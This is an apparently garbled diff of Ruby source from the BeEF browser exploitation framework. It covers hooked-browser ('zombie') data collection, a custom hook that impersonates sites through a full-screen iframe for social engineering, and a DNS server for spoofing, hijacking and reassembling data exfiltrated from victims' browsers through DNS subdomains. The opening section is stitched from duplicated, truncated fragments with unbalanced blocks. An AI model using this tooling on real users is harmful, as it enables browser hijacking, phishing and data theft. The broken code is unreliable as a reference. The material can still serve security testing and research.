BeEF::Core::Models::Command.where(command_module_id: cmdid, hooked_browser_id: targetid).each do |command|
commands.push({
'id' => i,
'object_id' => command.id,
'creationdate' => Time.at(command.creationdate.to_i).strftime('%Y-%m-%d %H:%M').to_s,
'label' => command.label
})
i += 1
end
# add property to summary hash
if not hosts.empty?
hosts.each do |x|
summary_grid_hash['results'].push({
'ip' => x['ip'].to_s,
'hostname' => x['hostname'].to_s,
'type' => x['type'].to_s,
'os' => x['os'].to_s,
'mac' => x['mac'].to_s,
'lastseen' => x['lastseen'].to_s
})
commands
end
def getindividualresponse(cmdid)
results = []
begin
BeEF::Core::Models::Result.where(command_id: cmdid).each do |result|
results.push({ 'date' => result.date, 'data' => JSON.parse(result.data) })
end
rescue StandardError
return nil
end
results
end
def executecommand
definition = {}
options = {}
options.store('zombie_session', targetsession.to_s)
options.store('command_module_id', cmd['id'])
unless cmd['Data'].nil?
cmd['Data'].each do |key|
options.store('txt_' + key['name'].to_s, key['value'])
end
end
options.keys.each do |param|
definition[param[4..-1]] = options[param]
oc = BeEF::Core::Models::OptionCache.first_or_create(name: param[4..-1])
oc.value = options[param]
oc.save
end
mod_key = BeEF::Module.get_key_by_database_id(cmd['id'])
# Hack to rework the old option system into the new option system
def2 = []
definition.each do |k, v|
def2.push({ 'name' => k, 'value' => v })
end
# End hack
if BeEF::Module.execute(mod_key, targetsession.to_s, def2).nil?
false
else
true
end
# Old method
# begin
# BeEF::Core::Models::Command.new( :data => definition.to_json,
# :hooked_browser_id => self.targetid,
# :command_module_id => self.cmd['id'],
# :creationdate => Time.new.to_i
# ).save
# rescue
# return false
# end
# return true
end
def update_command_module_tree(tree, cmd_category, cmd_status, cmd_name, cmd_id)
# construct leaf node for the command module tree
leaf_node = {
'text' => cmd_name,
'leaf' => true,
'status' => cmd_status,
'id' => cmd_id
}
# add the node to the branch in the command module tree
tree.each do |x|
if x['text'].eql? cmd_category
x['children'].push(leaf_node)
break
end
end
end
def get_command_module_status(mod)
hook_session_id = targetsession
return 'Verified Unknown' if hook_session_id.nil?
case BeEF::Module.support(
mod,
{
'browser' => BD.get(hook_session_id, 'BrowserName'),
'ver' => BD.get(hook_session_id, 'BrowserVersion'),
'os' => [BD.get(hook_session_id, 'OsName')]
}
)
when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
'Verified Not Working'
when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
'Verified User Notify'
when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
'Verified Working'
when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
'Verified Unknown'
else
'Verified Unknown'
end
end
# @note Returns a JSON array containing the summary for a selected zombie.
# Yoinked from the UI panel -
# we really need to centralise all this stuff and encapsulate it away.
def select_zombie_summary
return if targetsession.nil?
# init the summary grid
summary_grid_hash = {
'success' => 'true',
'results' => []
}
# zombie properties
# in the form of: category, UI label, value
zombie_properties = [
# Browser
['Browser', 'Browser Name', 'BrowserName'],
['Browser', 'Browser Version', 'BrowserVersion'],
['Browser', 'Browser UA String', 'BrowserReportedName'],
['Browser', 'Browser Language', 'BrowserLanguage'],
['Browser', 'Browser Platform', 'BrowserPlatform'],
['Browser', 'Browser Plugins', 'BrowserPlugins'],
['Browser', 'Window Size', 'WindowSize'],
# Browser Components
['Browser Components', 'Flash', 'HasFlash'],
['Browser Components', 'Java', 'JavaEnabled'],
['Browser Components', 'VBScript', 'VBScriptEnabled'],
['Browser Components', 'PhoneGap', 'HasPhonegap'],
['Browser Components', 'Google Gears', 'HasGoogleGears'],
['Browser Components', 'Web Sockets', 'HasWebSocket'],
['Browser Components', 'QuickTime', 'HasQuickTime'],
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
['Browser Components', 'Windows Media Player', 'HasWMP'],
['Browser Components', 'VLC', 'HasVLC'],
['Browser Components', 'WebRTC', 'HasWebRTC'],
['Browser Components', 'ActiveX', 'HasActiveX'],
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
# Hooked Page
['Hooked Page', 'Page Title', 'PageTitle'],
['Hooked Page', 'Page URI', 'PageURI'],
['Hooked Page', 'Page Referrer', 'PageReferrer'],
['Hooked Page', 'Hook Host', 'HostName'],
['Hooked Page', 'Cookies', 'Cookies'],
# Host
%w[Host Date DateStamp],
['Host', 'Operating System', 'OsName'],
%w[Host Hardware Hardware],
%w[Host CPU CPU],
['Host', 'Default Browser', 'DefaultBrowser'],
['Host', 'Screen Size', 'ScreenSize'],
['Host', 'Touch Screen', 'TouchEnabled']
]
# set and add the return values for each browser property
# in the form of: category, UI label, value
zombie_properties.each do |p|
case p[2]
when 'BrowserName'
data = BeEF::Core::Constants::Browsers.friendly_name(BD.get(targetsession.to_s, p[2])).to_s
when 'ScreenSize'
screen_size_hash = JSON.parse(BD.get(targetsession.to_s, p[2]).gsub(/"=>/, '":')) # tidy up the string for JSON
width = screen_size_hash['width']
height = screen_size_hash['height']
cdepth = screen_size_hash['colordepth']
data = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
when 'WindowSize'
window_size_hash = JSON.parse(BD.get(targetsession.to_s, p[2]).gsub(/"=>/, '":')) # tidy up the string for JSON
width = window_size_hash['width']
height = window_size_hash['height']
data = "Width: #{width}, Height: #{height}"
else
data = BD.get(targetsession, p[2])
end
# add property to summary hash
next if data.nil?
summary_grid_hash['results'].push({
'category' => p[0],
'data' => { p[1] => CGI.escapeHTML(data.to_s) },
'from' => 'Initialization'
})
end
summary_grid_hash
end
def select_network_hosts
return if targetsession.nil?
configuration = BeEF::Core::Configuration.instance
unless configuration.get('beef.extension.network.enable')
print_error('Network extension is disabled')
return {
'success' => 'false',
'results' => []
}
end
# init the summary grid
summary_grid_hash = {
'success' => 'true',
'results' => []
}
@nh = BeEF::Core::Models::NetworkHost
hosts = @nh.where(hooked_browser_id: targetsession)
# add property to summary hash
unless hosts.empty?
hosts.each do |x|
summary_grid_hash['results'].push({
'ip' => x['ip'].to_s,
'hostname' => x['hostname'].to_s,
'type' => x['type'].to_s,
'os' => x['os'].to_s,
'mac' => x['mac'].to_s,
'lastseen' => x['lastseen'].to_s
})
end
end
summary_grid_hash
end
def select_network_services
return if targetsession.nil?
configuration = BeEF::Core::Configuration.instance
unless configuration.get('beef.extension.network.enable')
print_error('Network extension is disabled')
return {
'success' => 'false',
'results' => []
}
end
# init the summary grid
summary_grid_hash = {
'success' => 'true',
'results' => []
}
@ns = BeEF::Core::Models::NetworkService
services = @ns.where(hooked_browser_id: targetsession)
# add property to summary hash
unless services.empty?
services.each do |x|
summary_grid_hash['results'].push({
'proto' => x['proto'].to_s,
'ip' => x['ip'].to_s,
'port' => x['port'].to_s,
'type' => x['type'].to_s
})
end
end
summary_grid_hash
end
attr_reader :targetsession, :targetid, :targetip, :cmd
protected
attr_writer :targetsession, :targetid, :targetip, :cmd
attr_accessor :config
end
end
summary_grid_hash
end
def select_network_services
return if self.targetsession.nil?
configuration = BeEF::Core::Configuration.instance
if !configuration.get("beef.extension.network.enable")
print_error("Network extension is disabled")
return {
'success' => 'false',
'results' => []
}
end
# init the summary grid
summary_grid_hash = {
'success' => 'true',
'results' => []
}
@ns = BeEF::Core::Models::NetworkService
services = @ns.where(:hooked_browser_id => self.targetsession)
# add property to summary hash
if not services.empty?
services.each do |x|
summary_grid_hash['results'].push({
'proto' => x['proto'].to_s,
'ip' => x['ip'].to_s,
'port' => x['port'].to_s,
'type' => x['type'].to_s
})
end
end
summary_grid_hash
end
attr_reader :targetsession
attr_reader :targetid
attr_reader :targetip
attr_reader :cmd
protected
attr_writer :targetsession
attr_writer :targetid
attr_writer :targetip
attr_writer :cmd
attr_accessor :config
end
end end end

View File

@@ -8,65 +8,56 @@ require 'rex'
require 'rex/ui'
module BeEF
module Extension
module Console
module Extension
module Console
class Shell
DefaultPrompt = '%undBeEF%clr'
DefaultPromptChar = '%clr>'
class Shell
DefaultPrompt = "%undBeEF%clr"
DefaultPromptChar = "%clr>"
include Rex::Ui::Text::DispatcherShell
def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {})
require 'extensions/console/lib/readline_compatible'
require 'extensions/console/lib/command_dispatcher'
require 'extensions/console/lib/shellinterface'
self.http_hook_server = opts['http_hook_server']
self.config = opts['config']
self.jobs = Rex::JobContainer.new
self.interface = BeEF::Extension::Console::ShellInterface.new(self.config)
super(prompt, prompt_char, File.expand_path(self.config.get("beef.extension.console.shell.historyfolder").to_s + self.config.get("beef.extension.console.shell.historyfile").to_s))
input = Rex::Ui::Text::Input::Stdio.new
output = Rex::Ui::Text::Output::Stdio.new
init_ui(input,output)
enstack_dispatcher(CommandDispatcher::Core)
#To prevent http_hook_server from blocking, we kick it off as a background job here.
self.jobs.start_bg_job(
"http_hook_server",
self,
Proc.new { |ctx_| self.http_hook_server.start }
)
end
def stop
super
end
#New method to determine if a particular command dispatcher it already .. enstacked .. gooood
def dispatched_enstacked(dispatcher)
inst = dispatcher.new(self)
self.dispatcher_stack.each { |disp|
if (disp.name == inst.name)
return true
include Rex::Ui::Text::DispatcherShell
def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {})
require 'extensions/console/lib/readline_compatible'
require 'extensions/console/lib/command_dispatcher'
require 'extensions/console/lib/shellinterface'
self.http_hook_server = opts['http_hook_server']
self.config = opts['config']
self.jobs = Rex::JobContainer.new
self.interface = BeEF::Extension::Console::ShellInterface.new(config)
super(prompt, prompt_char, File.expand_path(config.get('beef.extension.console.shell.historyfolder').to_s + config.get('beef.extension.console.shell.historyfile').to_s))
input = Rex::Ui::Text::Input::Stdio.new
output = Rex::Ui::Text::Output::Stdio.new
init_ui(input, output)
enstack_dispatcher(CommandDispatcher::Core)
# To prevent http_hook_server from blocking, we kick it off as a background job here.
jobs.start_bg_job(
'http_hook_server',
self,
proc { |_ctx_| http_hook_server.start }
)
end
def stop
super
end
# New method to determine if a particular command dispatcher it already .. enstacked .. gooood
def dispatched_enstacked(dispatcher)
inst = dispatcher.new(self)
dispatcher_stack.each do |disp|
return true if disp.name == inst.name
end
false
end
attr_accessor :http_hook_server, :config, :jobs, :interface
end
}
return false
end
end
attr_accessor :http_hook_server
attr_accessor :config
attr_accessor :jobs
attr_accessor :interface
end
end end end

View File

@@ -4,29 +4,27 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Customhook
module RegisterHttpHandlers
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start')
def self.mount_handler(beef_server)
configuration = BeEF::Core::Configuration.instance
configuration.get("beef.extension.customhook.hooks").each do |h|
beef_server.mount(configuration.get("beef.extension.customhook.hooks.#{h.first}.path"), BeEF::Extension::Customhook::Handler.new)
end
end
module Extension
module Customhook
module RegisterHttpHandlers
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start')
def self.pre_http_start(beef_server)
configuration = BeEF::Core::Configuration.instance
configuration.get("beef.extension.customhook.hooks").each do |h|
print_success "Successfully mounted a custom hook point"
print_more "Mount Point: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.path")}\nLoading iFrame: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.target")}\n"
def self.mount_handler(beef_server)
configuration = BeEF::Core::Configuration.instance
configuration.get('beef.extension.customhook.hooks').each do |h|
beef_server.mount(configuration.get("beef.extension.customhook.hooks.#{h.first}.path"), BeEF::Extension::Customhook::Handler.new)
end
end
def self.pre_http_start(_beef_server)
configuration = BeEF::Core::Configuration.instance
configuration.get('beef.extension.customhook.hooks').each do |h|
print_success 'Successfully mounted a custom hook point'
print_more "Mount Point: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.path")}\nLoading iFrame: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.target")}\n"
end
end
end
end
end
end
end
end

View File

@@ -4,19 +4,17 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Customhook
extend BeEF::API::Extension
@short_name = 'customhook'
@full_name = 'Custom Hook Point with iFrame Impersonation'
@description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks'
end
end
module Extension
module Customhook
extend BeEF::API::Extension
@short_name = 'customhook'
@full_name = 'Custom Hook Point with iFrame Impersonation'
@description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks'
end
end
end
require 'extensions/customhook/api'

View File

@@ -4,31 +4,29 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Customhook
class Handler
module Extension
module Customhook
class Handler
def call(env)
@body = ''
@request = Rack::Request.new(env)
@params = @request.query_string
@response = Rack::Response.new(body = [], 200, header = {})
config = BeEF::Core::Configuration.instance
eruby = Erubis::FastEruby.new(File.read("#{File.dirname(__FILE__)}/html/index.html"))
config.get('beef.extension.customhook.hooks').each do |h|
path = config.get("beef.extension.customhook.hooks.#{h.first}.path")
next unless path == (env['REQUEST_URI']).to_s
def call(env)
@body = ''
@request = Rack::Request.new(env)
@params = @request.query_string
@response = Rack::Response.new(body=[], 200, header={})
config = BeEF::Core::Configuration.instance
eruby = Erubis::FastEruby.new(File.read(File.dirname(__FILE__)+'/html/index.html'))
config.get("beef.extension.customhook.hooks").each do |h|
path = config.get("beef.extension.customhook.hooks.#{h.first}.path")
if path == "#{env['REQUEST_URI']}"
print_info "[Custom Hook] Handling request for custom hook mounted at '#{path}'"
@body << eruby.evaluate({
'customhook_target' => config.get("beef.extension.customhook.hooks.#{h.first}.target"),
'customhook_title' => config.get("beef.extension.customhook.hooks.#{h.first}.title")
})
break
end
end
print_info "[Custom Hook] Handling request for custom hook mounted at '#{path}'"
@body << eruby.evaluate({
'customhook_target' => config.get("beef.extension.customhook.hooks.#{h.first}.target"),
'customhook_title' => config.get("beef.extension.customhook.hooks.#{h.first}.title")
})
break
end
@response = Rack::Response.new(
@response = Rack::Response.new(
body = [@body],
status = 200,
header = {
@@ -39,20 +37,15 @@ module Customhook
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET'
}
)
end
)
end
private
# @note Object representing the HTTP request
@request
# @note Object representing the HTTP response
@response
# @note Object representing the HTTP request
@request
# @note Object representing the HTTP response
@response
end
end
end
end
end
end

View File

@@ -11,15 +11,16 @@ module BeEF
def self.mount_handler(beef_server)
# mount everything in html directory to /demos/
path = File.dirname(__FILE__) + '/html/'
files = Dir[path + '**/*']
path = "#{File.dirname(__FILE__)}/html/"
files = Dir["#{path}**/*"]
beef_server.mount('/demos', Rack::File.new(path))
files.each do |f|
# don't follow symlinks
next if File.symlink?(f)
mount_path = '/demos/' + f.sub(path, '')
mount_path = "/demos/#{f.sub(path, '')}"
if File.extname(f) == '.html'
# use handler to mount HTML templates
beef_server.mount(mount_path, BeEF::Extension::Demos::Handler.new(f))

View File

@@ -38,8 +38,6 @@ module BeEF
)
end
private
# @note String representing the absolute path to the .html file
@file_path

View File

@@ -7,9 +7,7 @@ module BeEF
module Extension
module Dns
module API
module NameserverHandler
BeEF::API::Registrar.instance.register(
BeEF::Extension::Dns::API::NameserverHandler,
BeEF::API::Server,
@@ -25,11 +23,15 @@ module BeEF
# Starts the DNS nameserver at BeEF startup.
#
# @param http_hook_server [BeEF::Core::Server] HTTP server instance
def self.pre_http_start(http_hook_server)
def self.pre_http_start(_http_hook_server)
dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')
dns = BeEF::Extension::Dns::Server.instance
protocol = dns_config['protocol'].to_sym rescue :udp
protocol = begin
dns_config['protocol'].to_sym
rescue StandardError
:udp
end
address = dns_config['address'] || '127.0.0.1'
port = dns_config['port'] || 5300
interfaces = [[protocol, address, port]]
@@ -44,12 +46,13 @@ module BeEF
up_port = server[2]
next if [up_protocol, up_address, up_port].include?(nil)
servers << [up_protocol.to_sym, up_address, up_port] if up_protocol =~ /^(tcp|udp)$/
upstream_servers << "Upstream Server: #{up_address}:#{up_port} (#{up_protocol})\n"
end
end
dns.run(:upstream => servers, :listen => interfaces)
dns.run(upstream: servers, listen: interfaces)
print_info "DNS Server: #{address}:#{port} (#{protocol})"
print_more upstream_servers unless upstream_servers.empty?
@@ -61,9 +64,7 @@ module BeEF
def self.mount_handler(beef_server)
beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new)
end
end
end
end
end

View File

@@ -6,20 +6,18 @@
module BeEF
module Extension
module Dns
# Provides the core DNS nameserver functionality. The nameserver handles incoming requests
# using a rule-based system. A list of user-defined rules is used to match against incoming
# DNS requests. These rules generate a response that is either a resource record or a
# failure code.
class Server < Async::DNS::Server
include Singleton
def initialize
super()
@lock = Mutex.new
@database = BeEF::Core::Models::Dns::Rule
@data_chunks = Hash.new
@data_chunks = {}
end
# Adds a new DNS rule. If the rule already exists, its current ID is returned.
@@ -49,9 +47,9 @@ module BeEF
$VERBOSE = verbose
@database.find_or_create_by(
:resource => rule[:resource].to_s,
:pattern => pattern.source,
:response => rule[:response]
resource: rule[:resource].to_s,
pattern: pattern.source,
response: rule[:response]
).id
end
end
@@ -63,12 +61,10 @@ module BeEF
# @return [Hash] hash representation of rule (empty hash if rule wasn't found)
def get_rule(id)
@lock.synchronize do
begin
rule = @database.find(id)
return to_hash(rule)
rescue ActiveRecord::RecordNotFound
return nil
end
rule = @database.find(id)
return to_hash(rule)
rescue ActiveRecord::RecordNotFound
return nil
end
end
@@ -81,9 +77,7 @@ module BeEF
@lock.synchronize do
begin
rule = @database.find(id)
if not rule.nil? and rule.destroy
return true
end
return true if !rule.nil? && rule.destroy
rescue ActiveRecord::RecordNotFound
return nil
end
@@ -109,10 +103,8 @@ module BeEF
#
# @return [Boolean] true if ruleset was destroyed, otherwise false
def remove_ruleset!
@lock.synchronize do
if @database.destroy_all
return true
end
@lock.synchronize do
return true if @database.destroy_all
end
end
@@ -134,24 +126,22 @@ module BeEF
if upstream
resolver = Async::DNS::Resolver.new(upstream)
@otherwise = Proc.new { |t| t.passthrough!(resolver) }
@otherwise = proc { |t| t.passthrough!(resolver) }
end
begin
# super(:listen => listen)
Thread.new { super() }
rescue RuntimeError => e
if e.message =~ /no datagram socket/ || e.message =~ /no acceptor/ # the port is in use
print_error "[DNS] Another process is already listening on port #{options[:listen]}"
print_error "Exiting..."
exit 127
else
raise
end
rescue RuntimeError => e
if e.message =~ /no datagram socket/ || e.message =~ /no acceptor/ # the port is in use
print_error "[DNS] Another process is already listening on port #{options[:listen]}"
print_error 'Exiting...'
exit 127
else
raise
end
end
end
end
end
end
@@ -164,42 +154,41 @@ module BeEF
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
def process(name, resource, transaction)
@lock.synchronize do
resource = resource.to_s
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
# no need to parse AAAA resources when data is extruded from client. Also we check if the FQDN starts with the 0xb3 string.
# this 0xb3 is convenient to clearly separate DNS requests used to extrude data from normal DNS requests than should be resolved by the DNS server.
if format_resource(resource) == 'A' and name.match(/^0xb3/)
if format_resource(resource) == 'A' && name.match(/^0xb3/)
reconstruct(name.split('0xb3').last)
catch (:done) do
catch(:done) do
transaction.fail!(:NXDomain)
end
return
end
catch (:done) do
catch(:done) do
# Find rules matching the requested resource class
resources = @database.where(:resource => resource)
resources = @database.where(resource: resource)
throw :done if resources.length == 0
# Narrow down search by finding a matching pattern
resources.each do |rule|
pattern = Regexp.new(rule.pattern)
if name =~ pattern
print_debug "Found matching DNS rule (id: #{rule.id} response: #{rule.response})"
Proc.new { |t| eval(rule.callback) }.call(transaction)
throw :done
end
next unless name =~ pattern
print_debug "Found matching DNS rule (id: #{rule.id} response: #{rule.response})"
proc { |_t| eval(rule.callback) }.call(transaction)
throw :done
end
if @otherwise
print_debug "No match found, querying upstream servers"
print_debug 'No match found, querying upstream servers'
@otherwise.call(transaction)
else
print_debug "No match found, sending NXDOMAIN response"
print_debug 'No match found, sending NXDOMAIN response'
transaction.fail!(:NXDomain)
end
end
@@ -207,43 +196,44 @@ module BeEF
end
private
# Collects and reconstructs data extruded by the client and found in subdomain, with structure like:
#0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com
#[...]
#0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com
# 0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com
# [...]
# 0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com
def reconstruct(data)
split_data = data.split('.')
pack_id = split_data[0]
seq_num = split_data[1]
seq_tot = split_data[2]
data_chunk = split_data[3] # this might change if we store more than 63 bytes in a chunk (63 is the limitation from RFC)
split_data = data.split('.')
pack_id = split_data[0]
seq_num = split_data[1]
seq_tot = split_data[2]
data_chunk = split_data[3] # this might change if we store more than 63 bytes in a chunk (63 is the limitation from RFC)
if pack_id.match(/^(\d)+$/) and seq_num.match(/^(\d)+$/) and seq_tot.match(/^(\d)+$/)
print_debug "[DNS] Received chunk (#{seq_num} / #{seq_tot}) of packet (#{pack_id}): #{data_chunk}"
unless pack_id.match(/^(\d)+$/) && seq_num.match(/^(\d)+$/) && seq_tot.match(/^(\d)+$/)
print_debug "[DNS] Received invalid chunk:\n #{data}"
return
end
if @data_chunks[pack_id] == nil
# no previous chunks received, create new Array to store chunks
@data_chunks[pack_id] = Array.new(seq_tot.to_i)
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
else
# previous chunks received, update Array
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
if @data_chunks[pack_id].all? and @data_chunks[pack_id] != 'DONE'
# means that no position in the array is false/nil, so we received all the packet chunks
packet_data = @data_chunks[pack_id].join('')
decoded_packet_data = packet_data.scan(/../).map{ |n| n.to_i(16)}.pack('U*')
print_debug "[DNS] Packet data fully received: #{packet_data}. \n Converted from HEX: #{decoded_packet_data}"
print_debug "[DNS] Received chunk (#{seq_num} / #{seq_tot}) of packet (#{pack_id}): #{data_chunk}"
# we might get more DNS requests for the same chunks sometimes, once every chunk of a packet is received, mark it
@data_chunks[pack_id] = 'DONE'
end
end
else
print_debug "[DNS] Data (#{data}) is not a valid chunk."
end
if @data_chunks[pack_id].nil?
# no previous chunks received, create new Array to store chunks
@data_chunks[pack_id] = Array.new(seq_tot.to_i)
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
else
# previous chunks received, update Array
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
if @data_chunks[pack_id].all? && @data_chunks[pack_id] != 'DONE'
# means that no position in the array is false/nil, so we received all the packet chunks
packet_data = @data_chunks[pack_id].join('')
decoded_packet_data = packet_data.scan(/../).map { |n| n.to_i(16) }.pack('U*')
print_debug "[DNS] Packet data fully received: #{packet_data}. \n Converted from HEX: #{decoded_packet_data}"
# we might get more DNS requests for the same chunks sometimes, once every chunk of a packet is received, mark it
@data_chunks[pack_id] = 'DONE'
end
end
end
private
# Helper method that converts a DNS rule to a hash.
#
# @param rule [BeEF::Core::Models::Dns::Rule] rule to be converted
@@ -279,9 +269,7 @@ module BeEF
def format_resource(resource)
/::(\w+)$/.match(resource)[1]
end
end
end
end
end

View File

@@ -5,18 +5,15 @@
#
require 'async/dns'
module BeEF
module Extension
module Dns
extend BeEF::API::Extension
@short_name = 'dns'
@full_name = 'DNS Server'
@description = 'A configurable DNS nameserver for performing DNS spoofing, ' +
'hijacking, and other related attacks against hooked browsers.'
'hijacking, and other related attacks against hooked browsers.'
end
end
end

View File

@@ -6,10 +6,8 @@
# Disables the logger used by RubyDNS due to its excessive verbosity.
class Logger
def debug(msg = ''); end
def info(msg = ''); end
def error(msg = ''); end
def warn(msg = ''); end
end

View File

@@ -7,35 +7,30 @@ module BeEF
module Core
module Models
module Dns
# Represents an individual DNS rule.
class Rule < BeEF::Core::Model
# Hooks the model's "save" event. Validates pattern/response and generates a rule identifier.
before_save :check_rule
self.table_name = 'dns_rules'
serialize :response, Array
private
private
def check_rule
begin
validate_pattern(self.pattern)
self.callback = format_callback(self.resource.constantize, self.response)
rescue InvalidDnsPatternError, UnknownDnsResourceError, InvalidDnsResponseError => e
print_error e.message
throw :halt
end
#self.id = BeEF::Core::Crypto.dns_rule_id
validate_pattern(pattern)
self.callback = format_callback(resource.constantize, response)
rescue InvalidDnsPatternError, UnknownDnsResourceError, InvalidDnsResponseError => e
print_error e.message
throw :halt
# self.id = BeEF::Core::Crypto.dns_rule_id
end
# Verifies that the given pattern is valid (i.e. non-empty, no null's or printable characters).
def validate_pattern(pattern)
raise InvalidDnsPatternError unless BeEF::Filters.is_non_empty_string?(pattern) &&
!BeEF::Filters.has_null?(pattern) &&
!BeEF::Filters.has_non_printable_char?(pattern)
!BeEF::Filters.has_null?(pattern) &&
!BeEF::Filters.has_non_printable_char?(pattern)
end
# Strict validator which ensures that only an appropriate response is given.
@@ -47,18 +42,19 @@ module BeEF
def format_callback(resource, response)
sym_regex = /^:?(NoError|FormErr|ServFail|NXDomain|NotImp|Refused|NotAuth)$/i
src = if resource == Resolv::DNS::Resource::IN::A
if resource == Resolv::DNS::Resource::IN::A
if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv4)
sprintf "t.respond!('%s')", response
format "t.respond!('%s')", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
elsif response.is_a?(Array)
str1 = "t.respond!('%s');"
str2 = ''
response.each do |r|
raise InvalidDnsResponseError, 'A' unless BeEF::Filters.is_valid_ip?(r, :ipv4)
str2 << sprintf(str1, r)
str2 << format(str1, r)
end
str2
@@ -67,16 +63,17 @@ module BeEF
end
elsif resource == Resolv::DNS::Resource::IN::AAAA
if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv6)
sprintf "t.respond!('%s')", response
format "t.respond!('%s')", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
elsif response.is_a?(Array)
str1 = "t.respond!('%s');"
str2 = ''
response.each do |r|
raise InvalidDnsResponseError, 'AAAA' unless BeEF::Filters.is_valid_ip?(r, :ipv6)
str2 << sprintf(str1, r)
str2 << format(str1, r)
end
str2
@@ -85,35 +82,36 @@ module BeEF
end
elsif resource == Resolv::DNS::Resource::IN::CNAME
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response
format "t.respond!(Resolv::DNS::Name.create('%s'))", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
else
raise InvalidDnsResponseError, 'CNAME'
end
elsif resource == Resolv::DNS::Resource::IN::MX
if response[0].is_a?(Integer) &&
BeEF::Filters.is_valid_domain?(response[1])
BeEF::Filters.is_valid_domain?(response[1])
data = { :preference => response[0], :exchange => response[1] }
sprintf "t.respond!(%<preference>d, Resolv::DNS::Name.create('%<exchange>s'))", data
data = { preference: response[0], exchange: response[1] }
format "t.respond!(%<preference>d, Resolv::DNS::Name.create('%<exchange>s'))", data
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
else
raise InvalidDnsResponseError, 'MX'
end
elsif resource == Resolv::DNS::Resource::IN::NS
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response
format "t.respond!(Resolv::DNS::Name.create('%s'))", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
elsif response.is_a?(Array)
str1 = "t.respond!(Resolv::DNS::Name.create('%s'))"
str2 = ''
response.each do |r|
raise InvalidDnsResponseError, 'NS' unless BeEF::Filters.is_valid_domain?(r)
str2 << sprintf(str1, r)
str2 << format(str1, r)
end
str2
@@ -122,110 +120,100 @@ module BeEF
end
elsif resource == Resolv::DNS::Resource::IN::PTR
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response
format "t.respond!(Resolv::DNS::Name.create('%s'))", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
else
raise InvalidDnsResponseError, 'PTR'
end
elsif resource == Resolv::DNS::Resource::IN::SOA
if response.is_a?(Array)
unless BeEF::Filters.is_valid_domain?(response[0]) &&
BeEF::Filters.is_valid_domain?(response[1]) &&
response[2].is_a?(Integer) &&
response[3].is_a?(Integer) &&
response[4].is_a?(Integer) &&
response[5].is_a?(Integer) &&
response[6].is_a?(Integer)
BeEF::Filters.is_valid_domain?(response[1]) &&
response[2].is_a?(Integer) &&
response[3].is_a?(Integer) &&
response[4].is_a?(Integer) &&
response[5].is_a?(Integer) &&
response[6].is_a?(Integer)
raise InvalidDnsResponseError, 'SOA'
end
data = {
:mname => response[0],
:rname => response[1],
:serial => response[2],
:refresh => response[3],
:retry => response[4],
:expire => response[5],
:minimum => response[6]
mname: response[0],
rname: response[1],
